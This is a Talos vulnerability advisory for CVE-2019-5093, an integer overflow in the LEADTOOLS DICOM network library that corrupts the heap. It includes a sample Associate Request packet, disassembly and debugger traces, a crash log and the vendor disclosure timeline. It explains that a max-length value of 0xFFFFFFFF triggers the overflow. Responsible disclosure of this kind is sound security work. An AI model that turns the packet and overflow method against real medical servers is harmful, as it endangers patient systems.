Talos Vulnerability Report

TALOS-2019-0885

LEADTOOLS libltdic.so DICOM LDicomNet::SendData Code Execution Vulnerability

December 10, 2019
CVE Number

CVE-2019-5093

Summary

An exploitable code execution vulnerability exists in the DICOM network response functionality of LEADTOOLS libltdic.so version 20.0.2019.3.15. A specially crafted packet can cause an integer overflow, resulting in heap corruption. An attacker can send a packet to trigger this vulnerability.

Tested Versions

LEADTOOLS libltdic.so 20.0.2019.3.15

Product URLs

https://www.leadtools.com/

CVSSv3 Score

8.1 - CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-190: Integer Overflow or Wraparound

Details

LEADTOOLS, according to the website, "is a collection of comprehensive toolkits to integrate document, medical, multimedia, and imaging technologies into desktop, server, tablet, and mobile applications." It offers prebuilt and portable libraries with an SDK for most platforms (Windows, Linux, Android, etc), that are all geared toward building applications for medical systems.

For the purposes of this post, we will be discussing LEADTOOLS' DICOM network protocol code, which is mainly used for transferring and viewing medical image information remotely.

When dealing with the LEADTOOLS DICOM code, the main function that actually leads to network library code is L_LTDIC_API L_INT L_DicomListen(hNet, pszHostAddress, nHostPort, nNbPeers). This function will take an initialized piece of memory (hNet), an IP address and port to listen on (pszHostAddress/nHostPort), a max amount of peers to listen to (nNbPeers), and then spin up a network server that implements the actual network logic. For dealing with certain predefined function types, callbacks are created and then assigned to predefined hooks within the hNet object, for example, when looking through the SDK's example code:

void OnReceiveAssociateRequest(HDICOMNET dicomNet, HDICOMPDU dicomPDU, void *userData)
void OnReceiveCEchoRequest(HDICOMNET dicomNet, L_UCHAR presentationID, L_UINT16 messageID, L_TCHAR *className, void *userData)
[..]

Since the listed functions are, in the end, up to the developers to implement, they are not really valid targets, but in order to get to these callbacks, there is still a bit of code connecting the packet read to the callback hooks found in the libltdic.so library.

Since LEADTOOLS' middleware libraries are not open-source, we must examine the disassembly of a singular function to proceed. After passing the first six bytes of the packet, which are the opcode and size of the input, we end up hitting a jumptable of the opcodes inside LDicomNet::Receive(int flag?,uchar opcode,uchar *buffer,uint buffer_len), which is:

PDU_UNKNOWN            [0x00] Unknown data sent.
PDU_ASSOCIATE_REQUEST  [0x01] Associate Request message sent
PDU_ASSOCIATE_ACCEPT   [0x02] Associate Accept message sent
PDU_ASSOCIATE_REJECT   [0x03] Associate Reject message sent
PDU_DATA_TRANSFER      [0x04] Data transfer made.
PDU_RELEASE_REQUEST    [0x05] Release Request message sent
PDU_RELEASE_RESPONSE   [0x06] Release Response message sent
PDU_ABORT              [0x07] Abort message sent.

For the remainder of the writeup, we will focus on the opcode PDU_ASSOCIATE_REQUEST. https://www.leadtools.com/help/leadtools/v20/dicom/api/associate-request-pdu.html A sample request looks something like this:

associate=""
associate+='\x01\x00\x00\x00\x01\x00\x00\x01\x00\x00LEAD_SERVER     aaaaaaaaaabbbbbbbbbbbbbb' +\
           '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
associate+='\x10\x00\x00\x151.2.840.10008.3.1.1.1' // [1]
associate+='\x20\x00\x00\x38\x01\x00\x00\x00'
associate+='\x30\x00\x00\x1b1.2.840.10008.5.1.4.1.2.1.1'
associate+='\x40\x00\x00\x111.2.840.10008.1.2'
associate+='\x20\x00\x00\x38\x03\x00\x00\x00'      // [2]
associate+='\x30\x00\x00\x1b1.2.840.10008.5.1.4.1.2.2.1'
associate+='\x40\x00\x00\x111.2.840.10008.1.2'
                                                // [3]
associate+='\x50\x00\x00\x27'
associate+='\x51\x00\x00\x04\x00\x00\xab\xcd'   // [4]
associate+='\x52\x00\x00\x161.2.840.114257.1123465'
associate+='\x55\x00\x00\x01\x31'

At [1] and [2] we have Presentation Contexts, and then at [3], we enter the User Data section of the request, which is the most important part, as it defines some of the parameters for any data we wish to transfer in the future. As per the spec linked above, the message component at [4] defines the User data's max length, which is rather arbitrary. Eventually, assuming the rest of the request is valid, the max length field is read into a LDicomAssociate object at the following disassembly:

Thread 2 hit Hardware watchpoint 3: -location *0x62700000ac60

Old value = 0x4000
New value = 0xabcd   // [1]
0x00007f2c61ec4946 in LDicomAssociate::SetBinary(char*, unsigned int*, LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
-------------------------------------------------------------------------[ boop ]----
   0x7f2c61ec4930 <LDicomAssociate::SetBinary(char*,+0> shl    edx, 0x8
   0x7f2c61ec4933 <LDicomAssociate::SetBinary(char*,+0> or     eax, edx
   0x7f2c61ec4935 <LDicomAssociate::SetBinary(char*,+0> movzx  edx, BYTE PTR [r15+r8*1+0x1]
   0x7f2c61ec493b <LDicomAssociate::SetBinary(char*,+0> shl    edx, 0x10
   0x7f2c61ec493e <LDicomAssociate::SetBinary(char*,+0> or     eax, edx
->0x7f2c61ec4940 <LDicomAssociate::SetBinary(char*,+0> mov    DWORD PTR [rbp+0xd0], eax   // [2]
   0x7f2c61ec4946 <LDicomAssociate::SetBinary(char*,+0> jmp    0x7f2c61ec4790 <_ZN15LDicomAssociate9SetBinaryEPcPjPS_+1088>
   0x7f2c61ec494b <LDicomAssociate::SetBinary(char*,+0> nop    DWORD PTR [rax+rax*1+0x0]
   0x7f2c61ec4950 <LDicomAssociate::SetBinary(char*,+0> movzx  eax, BYTE PTR [r15+r8*1]
   0x7f2c61ec4955 <LDicomAssociate::SetBinary(char*,+0> movzx  ebx, BYTE PTR [r15+r8*1+0x1]
   0x7f2c61ec495b <LDicomAssociate::SetBinary(char*,+0> mov    DWORD PTR [rsp+0x28], ecx
-----------------------------------------------------------------------------[ trace ]----
#0  0x00007f2c61ec4940 in LDicomAssociate::SetBinary(char*, unsigned int*, LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#1  0x00007f2c61f13e1f in LDicomNet::SendAssociateAccept(LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#2  0x000055af0fddbed2 in OnReceiveAssociateRequest (dicomNet=0x62700000a900, dicomPDU=0x62700000aa20, userData=0x0) at Client.c:124
#3  0x00007f2c61f1b82e in LDicomNet::Receive(int, unsigned char, unsigned char*, unsigned int) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#4  0x00007f2c61f1bf89 in ?? () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20

At [1], we see the value 0xabcd taken from our packet and written to [rbp+d0], which corresponds to the m_bMaxLength field of our object at [3]:

class L_LTDIC_CLASS LDicomAssociate {
    public:
       LDicomAssociate(L_BOOL bRequest);
       ~LDicomAssociate();
       [...]


    private:
       friend class LDicomNet;

       L_BOOL     m_bRequest;
       L_UINT16   m_nVersion;
       L_CHAR     m_szCalled[PDU_MAX_TITLE_SIZE+1];     // 0x40+1(+3 align => 0x44)
       L_CHAR     m_szCalling[PDU_MAX_TITLE_SIZE+1];    // 0x40+1(+3 align)
       L_CHAR     m_szApplication[PDU_MAX_UID_SIZE+1];  // 0x40+1(+3 align)

       L_BOOL     m_bMaxLength;
       L_UINT32   m_nMaxLength; // [3]
       [...]

Eventually, when the server sends us the data that we request, it reads out the m_bMaxLength field of our LDicomAssociate request...:

# where the read occurs
-------------------------------------------------------------------------[ boop ]----
   0x7f2c61ec4933 <LDicomAssociate::SetBinary(char*,+0> or     eax, edx
   0x7f2c61ec4935 <LDicomAssociate::SetBinary(char*,+0> movzx  edx, BYTE PTR [r15+r8*1+0x1]
   0x7f2c61ec493b <LDicomAssociate::SetBinary(char*,+0> shl    edx, 0x10
   0x7f2c61ec493e <LDicomAssociate::SetBinary(char*,+0> or     eax, edx
->0x7f2c61ec4940 <LDicomAssociate::SetBinary(char*,+0> mov    DWORD PTR [rbp+0xd0], eax
   0x7f2c61ec4946 <LDicomAssociate::SetBinary(char*,+0> jmp    0x7f2c61ec4790 <_ZN15LDicomAssociate9SetBinaryEPcPjPS_+1088>
   0x7f2c61ec494b <LDicomAssociate::SetBinary(char*,+0> nop    DWORD PTR [rax+rax*1+0x0]
   0x7f2c61ec4950 <LDicomAssociate::SetBinary(char*,+0> movzx  eax, BYTE PTR [r15+r8*1]
   0x7f2c61ec4955 <LDicomAssociate::SetBinary(char*,+0> movzx  ebx, BYTE PTR [r15+r8*1+0x1]
   0x7f2c61ec495b <LDicomAssociate::SetBinary(char*,+0> mov    DWORD PTR [rsp+0x28], ecx
-----------------------------------------------------------------------------[ trace ]----
#0  0x00007f2c61ec4946 in LDicomAssociate::SetBinary(char*, unsigned int*, LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#1  0x00007f2c61f13e1f in LDicomNet::SendAssociateAccept(LDicomAssociate*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#2  0x000055af0fddbed2 in OnReceiveAssociateRequest (dicomNet=0x62700000a900, dicomPDU=0x62700000aa20, userData=0x0) at Client.c:124
#3  0x00007f2c61f1b82e in LDicomNet::Receive(int, unsigned char, unsigned char*, unsigned int) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#4  0x00007f2c61f1bf89 in ?? () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20

<(^_^)> x/1wx $rdi+0xd0
0x62700000ac60: 0xabcd

... in order to allocate a large enough buffer to hold the size that we requested:

.text:00007F2C61F14224 loc_7F2C61F14224:                       ; CODE XREF: LDicomNet::SendData(int,uchar,LDicomDS *)+14F↑j
.text:00007F2C61F14224                 mov     rdi, r15        //[1]
.text:00007F2C61F14227                 call    __ZN15LDicomAssociate12GetMaxLengthEv ; LDicomAssociate::GetMaxLength(void)
.text:00007F2C61F1422C                 lea     rdi, [rbx+120h]
.text:00007F2C61F14233                 mov     r15d, eax       //[2]
.text:00007F2C61F14236                 call    __ZN15LDicomAssociate12GetMaxLengthEv ; LDicomAssociate::GetMaxLength(void)
.text:00007F2C61F1423B                 cmp     eax, r15d
.text:00007F2C61F1423E                 cmovbe  r15d, eax       //[3]
.text:00007F2C61F14242                 test    r15d, r15d
.text:00007F2C61F14245                 jz      loc_7F2C61F140B5
.text:00007F2C61F1424B                 lea     rax, l_local_alloc
.text:00007F2C61F14252                 lea     edi, [r15+6]   //[4]
.text:00007F2C61F14256                 lea     rcx, aHomeDevLeadtoo_14 ; "/home/DEV.LEADTOOLS.LOCAL/ike/srcM/LEAD"...
.text:00007F2C61F1425D                 mov     edx, 12BDh
.text:00007F2C61F14262                 mov     esi, 1
.text:00007F2C61F14267                 call    qword ptr [rax] //[5]
.text:00007F2C61F14269                 mov     alloced, rax
.text:00007F2C61F1426C                 jmp     loc_7F2C61F140DC
.text:00007F2C61F1426C _ZN9LDicomNet8SendDataEihP8LDicomDS endp

The server first grabs the LDicomServer Response that it generated (in response to our request) and grabs the response's m_nMaxLegth at [1]. It then repeats this process for the request that we first sent at [2], and takes the minimum of both at [3] to figure out how much space to allocate at [5] for the actual data transfer. Assuming that the lesser size is not 0x0 (because then the allocation size is based off filesize), then the result size is equivalent to min(OurAssociateRequest.GetMaxLength(),ServerAssociateResponse.GetMaxLength())+6. Thus, if at any point in the code flow, the AssociateResponse's max length is set to ours, like so:

// Leadtools/Examples/Linux/C/DicomServer/Client.c
void OnReceiveAssociateRequest(HDICOMNET dicomNet, HDICOMPDU dicomPDU, void *userData)
{
   L_TCHAR calling[1024] = "";
   L_TCHAR called[1024] = "";
   HDICOMPDU associate;

[...]

   if(L_DicomIsMaxLength(dicomPDU))
      L_DicomSetMaxLength(associate, 1, L_DicomGetMaxLength(dicomPDU));

Then the allocation size is user controlled, as both the OurAssociateRequest and the ServerAssociateResponse have the same length.
Assuming this is true, an attacker could set the length of the response to be 0xFFFFFFFF, which would result in an integer overflow when added with six. The newly created heap chunk would be of size 0x4 or 0x8 (due to alignment/heap library used), and then the chunk would be populated with the following assembly:

mov     ecx, [rsp+58h+alocation_size_read] ; 0xfffffff8
mov     edx, [rsp+58h+var_54]
mov     rdi, rbp        ; this
mov     rsi, [rsp+58h+var_50] ; chunk+0xC
cmp     r14d, ecx       // [1]
mov     r13d, ecx
cmovbe  r13d, r14d      // r14d => requested file size (0x58)
test    edx, edx
lea     eax, [r13+6]
setnz   dl
cmp     ecx, r14d
[...]
or      eax, edx
mov     edx, r13d       // 0x58 on 0x4/0x8 chunk
mov     [alloced+0Bh], al
call    __ZN10LDicomFile4ReadEPvj ; LDicomFile::Read(void *,uint) // [2]

The server makes one last sanity check of how much to read into the buffer at [1], and in the event that our proposed length (0xFFFFFFF8) is larger than the size of the file requested, the smaller size is appropriately used for final LDicomFile::Read at [2], resulting in an integer overflow of the size and contents of the requested file:

L_BOOL   Read      (L_VOID *pBuffer, L_UINT32 nLength);
-------------------------------------------------------------------------[ boop ]----
   0x7f2c61f141c2 <LDicomNet::SendData(int,+0> shl    bh, 0xd0
   0x7f2c61f141c5 <LDicomNet::SendData(int,+0> and    eax, 0x2
   0x7f2c61f141c8 <LDicomNet::SendData(int,+0> or     eax, edx
   0x7f2c61f141ca <LDicomNet::SendData(int,+0> mov    edx, r13d
   0x7f2c61f141cd <LDicomNet::SendData(int,+0> mov    BYTE PTR [r12+0xb], al
->0x7f2c61f141d2 <LDicomNet::SendData(int,+0> call   0x7f2c61ec0390 <_ZN10LDicomFile4ReadEPvj@plt>
   \->  0x7f2c61ec0390 <LDicomFile::Read(void*,+0> jmp    QWORD PTR [rip+0x3f285a]        # 0x7f2c622b2bf0 <_ZN10LDicomFile4ReadEPvj@got.plt>
      0x7f2c61ec0396 <LDicomFile::Read(void*,+0> push   0x3f6
      0x7f2c61ec039b <LDicomFile::Read(void*,+0> jmp    0x7f2c61ebc420
      0x7f2c61ec03a0 <LDicomDS::CallCountLUTColors(tagRGBQUAD*,+0> jmp    QWORD PTR [rip+0x3f2852]        # 0x7f2c622b2bf8 <_ZN8LDicomDS18CallCountLUTColorsEP10tagRGBQUADjPjPij@got.plt>
      0x7f2c61ec03a6 <LDicomDS::CallCountLUTColors(tagRGBQUAD*,+0> push   0x3f7
      0x7f2c61ec03ab <LDicomDS::CallCountLUTColors(tagRGBQUAD*,+0> jmp    0x7f2c61ebc420
-----------------------------------------------------------------------------[ trace ]----
#0  0x00007f2c61f141d2 in LDicomNet::SendData(int, unsigned char, LDicomDS*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#1  0x00007f2c61f17ef6 in LDicomNet::SendCFindResponse(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
#2  0x000055af0fde6f8e in find_studies (dicomClient=0x62700000a900, reqIdentifier=0x625000028100, presentationID=0x3, messageID=0x1, className=0x603000998e00 "1.2.840.10008.5.1.4.1.2.2.1", user=0x7f2c5c53b530 "aaaaaaaaaabbbbbb", patientRoot=0x0) at Common/Db.c:1517
#3  0x000055af0fddc873 in OnReceiveCFindRequest (dicomNet=0x62700000a900, presentationID=0x3, messageID=0x1, className=0x603000998e00 "1.2.840.10008.5.1.4.1.2.2.1", priority=0x0, dicomDS=0x625000028100, userData=0x0) at Client.c:249
#4  0x00007f2c61f0fee8 in LDicomNet::OnReceiveCFindRequest(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) () from /boop/boop/Leadtools/Bin/Lib/x64/libltdic.so.20
------------------------------------------------------------------------------------------
<(^_^)> info reg rdi rsi rdx rcx
rdi            0x62700000ad00      0x62700000ad00
rsi            0x60200033813c      0x60200033813c
rdx            0x58                0x58

Crash Information

C-FIND-REQUEST received from aaaaaaaaaabbbbbb=================================================================
==20130==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200033813c at pc 0x7f2c62c90d7b bp 0x7f2c5c53a4b0 sp 0x7f2c5c539c60
WRITE of size 88 at 0x60200033813c thread T1
    #0 0x7f2c62c90d7a  (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cd7a)
    #1 0x7f2c62788666  (/boop/doop/Leadtools/Bin/Lib/x64/libltkrn.so.20+0x120666)
    #2 0x7f2c62760cde  (/boop/doop/Leadtools/Bin/Lib/x64/libltkrn.so.20+0xf8cde)
    #3 0x7f2c61f4958c in LDicomFile::Read(void*, unsigned int) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x22958c)
    #4 0x7f2c61f141d6 in LDicomNet::SendData(int, unsigned char, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f41d6)
    #5 0x7f2c61f17ef5 in LDicomNet::SendCFindResponse(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f7ef5)
    #6 0x55af0fde6f8d in find_studies Common/Db.c:1517
    #7 0x55af0fddc872 in OnReceiveCFindRequest /boop/doop/Leadtools/Examples/Linux/C/DicomServer/Client.c:249
    #8 0x7f2c61f0fee7 in LDicomNet::OnReceiveCFindRequest(unsigned char, unsigned short, char*, unsigned short, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1efee7)
    #9 0x7f2c61f1af33 in LDicomNet::ReceiveData(unsigned char, LDicomDS*, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1faf33)
    #10 0x7f2c61f1b6eb in LDicomNet::Receive(int, unsigned char, unsigned char*, unsigned int) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1fb6eb)
    #11 0x7f2c61f1bf88  (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1fbf88)
    #12 0x7f2c603404a3 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x74a3)
    #13 0x7f2c60a4ad0e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0xe8d0e)

0x60200033813c is located 8 bytes to the right of 4-byte region [0x602000338130,0x602000338134)
allocated by thread T1 here:
    #0 0x7f2c62cf5d28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28)
    #1 0x7f2c61f14268 in LDicomNet::SendData(int, unsigned char, LDicomDS*) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f4268)

Thread T1 created by T0 here:
    #0 0x7f2c62c64f59 in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x30f59)
    #1 0x7f2c61f1772c in LDicomNet::Listen(char*, unsigned int, int, int) (/boop/doop/Leadtools/Bin/Lib/x64/libltdic.so.20+0x1f772c)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cd7a)
Shadow bytes around the buggy address:
  0x0c048005efd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048005efe0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048005eff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048005f000: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c048005f010: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c048005f020: fa fa fa fa fa fa 04[fa]fa fa 00 fa fa fa 00 07
  0x0c048005f030: fa fa fd fd fa fa 00 00 fa fa 00 00 fa fa 00 fa
  0x0c048005f040: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c048005f050: fa fa fd fa fa fa fd fa fa fa 00 fa fa fa 00 fa
  0x0c048005f060: fa fa 04 fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c048005f070: fa fa fd fa fa fa 00 fa fa fa 00 fa fa fa 04 fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Heap right redzone:      fb
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack partial redzone:   f4
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==20130==ABORTING

Timeline

2019-08-08 - Vendor Disclosure
2019-09-06 - 30 day follow up with vendor re: case number assigned
2019-09-09 - Vendor acknowledged issue under review
2019-10-21 - 60+ day follow up
2019-12-05 - Vendor patched
2019-12-10 - Public Release

Credit

Discovered by Lilith [;_;] of Cisco Talos.